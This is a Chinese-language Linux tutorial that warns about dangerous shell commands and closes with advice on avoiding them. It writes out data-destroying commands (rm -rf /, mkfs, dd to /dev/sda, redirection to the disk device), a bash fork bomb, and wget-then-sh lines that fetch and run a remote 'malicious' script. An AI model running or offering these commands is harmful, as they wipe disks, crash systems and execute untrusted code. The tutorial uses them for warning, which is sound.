下面的命令會(huì)刪除你硬盤上的文件,rm 的 -r 遞歸刪除,和 -f 強(qiáng)制刪除是很危險(xiǎn)的選項(xiàng),即使日常操作,也會(huì)遇到誤刪文件的情況。
sudo rm -rf / 刪除根分區(qū)全部的文件
sudo rm -rf . 刪除當(dāng)前目錄下的所有文件
sudo rm -rf * 同上
rm -rf * or rm -rf *.* 同上
rm -rf ~ / & 刪除根分區(qū)和家目錄,即使你不是root,家目錄還是不能幸免。
如果不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的話,運(yùn)行下面的命令會(huì)擦除硬盤分區(qū):
sudo mkfs.xxxx
dd 是強(qiáng)大的 IO 輸入輸出定向工具,如果使用不當(dāng),破壞性很大,不僅僅是當(dāng)前分區(qū),當(dāng)前系統(tǒng),有的時(shí)候是整個(gè)硬盤。
sudo dd if=/dev/zero of=/dev/sda 全部硬盤清零。
sudo dd if=/dev/sda of=/dev/sdb 用第一塊硬盤的內(nèi)容覆蓋第二塊的內(nèi)容。
sudo dd if=something of=/dev/sda 往硬盤上寫垃圾數(shù)據(jù)。
直接把命令結(jié)果定向到硬盤上,相當(dāng)于往硬盤上寫垃圾數(shù)據(jù):
any_command > /dev/sda 用隨意的數(shù)據(jù)破壞硬盤。
fork 命令打開一個(gè)子進(jìn)程,如果把 fork 放在無限循環(huán)中,最終子進(jìn)程會(huì)耗盡所有內(nèi)存資源::(){:|:&};:
這段不知所云的符號(hào),可以讓 Shell 不停的 fork 子進(jìn)程,最后導(dǎo)致內(nèi)存耗盡,不得不重啟,這不是 bug,只是 Shell 語句故意寫成簡寫的形式而已。下面的同理:fork while fork
有的時(shí)候,壓縮包也是一個(gè)破壞來源。
從不正規(guī)網(wǎng)站下載的程序、腳本,同樣會(huì)有包含惡意命令的危險(xiǎn),不可隨便執(zhí)行:
wget [url]http://some_place/some_file[/url]
sh ./some_file
wget [url]http://hax018r.org/malicious-script[/url]
sh ./malicious-script
載腳本要確保來源正規(guī),如果有能力,可以閱讀其代碼。
為了保護(hù)我們的系統(tǒng),我們要怎么可才可以避免運(yùn)行惡意的程序呢?第一不要用 root 作為日常使用的用戶,上面的程序,如果當(dāng)前用戶不是 root,危害的波及范圍就會(huì)小很多。第二要知道哪些命令是干什么用的,不知道的命令不要冒然運(yùn)行。運(yùn)行有潛在破壞能力的程序,要小心檢查自己的輸入。第三要保證軟件、腳本的來源正規(guī)。最后一點(diǎn),也是十分重要的一點(diǎn):經(jīng)常備份你的數(shù)據(jù)!
上一個(gè)教程:CPU發(fā)熱發(fā)燙?那你平時(shí)注意它的溫度了嗎?
下一個(gè)教程:在Linux系統(tǒng)下,怎么下載網(wǎng)絡(luò)文件?